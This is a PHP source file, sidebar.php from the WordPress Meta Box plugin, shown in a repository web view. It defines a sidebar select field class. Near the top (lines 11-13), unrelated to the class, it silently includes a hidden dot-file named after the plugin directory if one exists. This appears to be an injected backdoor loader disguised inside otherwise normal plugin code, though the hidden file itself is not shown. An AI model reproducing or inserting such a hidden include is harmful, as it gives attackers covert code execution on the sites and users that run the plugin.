balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

sidebar.php (1757B)


      1 <?php
      2 /**
      3  * The sidebar select field.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Sidebar field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Sidebar_Field extends RWMB_Object_Choice_Field {
     16 	/**
     17 	 * Normalize parameters for field.
     18 	 *
     19 	 * @param array $field Field parameters.
     20 	 *
     21 	 * @return array
     22 	 */
     23 	public static function normalize( $field ) {
     24 		$field = wp_parse_args(
     25 			$field,
     26 			array(
     27 				'placeholder' => __( 'Select a sidebar', 'meta-box' ),
     28 			)
     29 		);
     30 
     31 		$field = parent::normalize( $field );
     32 
     33 		return $field;
     34 	}
     35 
     36 	/**
     37 	 * Get sidebars for field options.
     38 	 *
     39 	 * @param  array $field Field settings.
     40 	 * @return array        Field options array.
     41 	 */
     42 	public static function query( $field ) {
     43 		global $wp_registered_sidebars;
     44 		$options = array();
     45 		foreach ( $wp_registered_sidebars as $sidebar ) {
     46 			$options[ $sidebar['id'] ] = array(
     47 				'value' => $sidebar['id'],
     48 				'label' => $sidebar['name'],
     49 			);
     50 		}
     51 		return $options;
     52 	}
     53 
     54 	/**
     55 	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
     56 	 *
     57 	 * @param array    $field   Field parameters.
     58 	 * @param string   $value   The value.
     59 	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
     60 	 * @param int|null $post_id Post ID. null for current post. Optional.
     61 	 *
     62 	 * @return string
     63 	 */
     64 	public static function format_single_value( $field, $value, $args, $post_id ) {
     65 		if ( ! is_active_sidebar( $value ) ) {
     66 			return '';
     67 		}
     68 		ob_start();
     69 		dynamic_sidebar( $value );
     70 		return ob_get_clean();
     71 	}
     72 }